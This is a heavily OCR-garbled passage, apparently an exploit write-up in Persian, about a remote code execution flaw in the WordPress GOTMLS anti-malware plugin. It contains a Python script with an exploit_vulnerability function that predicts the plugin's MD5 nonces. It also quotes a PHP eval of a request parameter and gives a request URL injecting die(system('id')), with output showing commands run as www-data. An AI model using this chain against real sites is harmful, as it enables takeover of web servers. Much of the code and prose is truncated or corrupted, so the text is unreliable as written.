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$ajax_functions = array

foreach ($ajax_functions as $ajax_function) {

add_action(
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md5(substr(number_format(microtime(true), 9, 6).GO0TMLS installation key.GOTMLS plugin_path);
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if (is_array($_REQUEST[ {

foreach ($_REQUEST[ as $_REQUEST_GOTMLS_mt)
if (strlen($_REQUEST_GOTMLS mt) == 32 && isset($GLOBALS[
return (INT) $GLOBALS[

return ;

}

elseif (strlen($_REQUEST[ 32 && isset($GLOBALS[
return (INT) $GLOBALS[
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2518.6453124b65e39d7b19df6a45cdaalédc6044/var/www/html/wp-content/plugins/gotmls/
f10739180cf31f13da4b6704ead6bee3s

2518.6463124b65e39d7b19df6a45cdaal6édc6044/var /www/html/wp-content/plugins/gotmls/
e6673e566ae581932ff9ab0d583e0969

2518.6463124b65e39d7b19df6a45cdaaleédc6044/var /www/html/wp-content/plugins/gotmls/
e6673e566ae581932ff9ab0d583e0969
f10739180cf31f13da4b6704eadbee3s
e6673e566ae581932f f9ab@d583e0969
80c0ca34c15d604759b6ad22f98cffob
a2f8b92fc62ad938ff3d0210eb51bl4a

t hashlib
mport time

f generate_nonce(installation_key: str, plugi str) -> str:
current_microtime = str(round(time.time(), 4
print(f"Current microtime: {currer
d = current microt
print(f"Input string: {input_string}")
hashlib.md5( input_string.encode()).hexdigest()
print(f"Generated nonce (MD5 hash): {hash_result}")
return h

f validate_nonce(nonce: r, stored_nonces: dict) -> int:

>f clear_nonces(stored_nonces:
stored_nonces.clear
def exploit_vulnerability(insta

for 1 range(25):
d r

installat key = "124b65e39d7b19df6a45cdaal6dc6044"

h = "/var/www/html/wp-content/plugins/gotmls/"
stored_nonces = {}
xploit_vulnerability(installation_key, plugin_path, stored_nonces)

print("“Stored

print("Nonces after clearin
print(stored nces )
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WJolo
S o JyauS diudy @b g aidyS jlinel 08y 4 U ) it 5l yloj 15yl auiligpSun yloj widlys o
((current_microtime = str(round(time.time(), 4

)g.u..lu.n i b QJQ}SI}.LM.LD 9 o .LLIS ‘LSJl-'? ULDJ LSJLJi'.Ld U.x.L’kJ ;US}J lJ BVAZ CLuu.lJ \SJ 15°9)9 (lLu.IJ wSlw o
input_string = current_microtime[6:] + installation_key + plugin_path

gl oo 036155 dxui g dulxo (§59)g didy jl MD5 ixm MD5 : i duuulxo o
hash_result = hashlib.md5(input_string.encode()).hexdigest()

validate_nonce wli.2
> U 315 5929 03w 05 NONCeES degoxo 1> Yol nonce Sy Ll ad 3uS oo sy U

:lms>9)9
nonce : nonce uyp sl -
stored_nonces : Joli gpuidus noncesd s ops>> glo -
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.0 wygo l jaf > 9 535 Jop 03U 0S5 jladm (il >92-go Nonce 51 as o sac -
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if nonce in stored_nonces:

return int(stored_nonces[nonce])
else:

return O

clear_nonces Egti .3
S oo S |y o 0S5 glmnonce oolod E‘-’U ol

:lms>9)9
stored_nonces : Joli (gpuidys> Noncesdsui o> glo -

WJolo
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stored_nonces.clear()

exploit_vulnerability wli.4
>guu o oslaiwl nonce gLy slani oS5 9 gl jebin @b

:o559)9
installation_key : wuos 3$ -
plugin_path : digjsl puwn -
stored_nonces : Jolir gpuindys> Noncesd s ops>> gl -

WJolo
A8 o 0D (5> 5> g Judgi nhonce 25 aal> ;> nonce o5 g audgio

for _inrange(25):
generated_nonce = generate_nonce(installation_key, plugin_path)
stored_nonces[generated_nonce] = 12345

> JUn
ol 0. @Sl gulgs ol jl oslaiul GSighe jil SJlio dil >
26U9j9| JAWUD g U Ao
installation_key = «your-installation_key («
plugin_path = «your-pathy
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: lononce o> o
stored_nonces ={}
exploit_vulnerability(installation_key, plugin_path, stored_nonces)

1041 )23 slmnonce ulo o
for nonce in stored_nonces:
print(nonce)

:lmnonce sjlwdb o
clear_nonces(stored_nonces)
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( array(
"stealthcopter testing 1" => array(®
"stealthcopter testing 2" => array(®

> "MAtel’
> "MAte2’
> "MAte3’,

W

*/\$bad = array\("/"),

'/, "preg_replace.*?isset/s"),
*f&&is_numeric\(.*?\n\)(?=;)/5")

\...
(IR

nn o
b4
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"stealthcopter testing 3" => array(®

91y hylai iluyjgyds .6
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eval(S_REQUEST[«umt»]);
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= C Q sec.stealthcopter.com/wp-content/plugins/gotm 1ages/index.php?mt=die(system("id"))

uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
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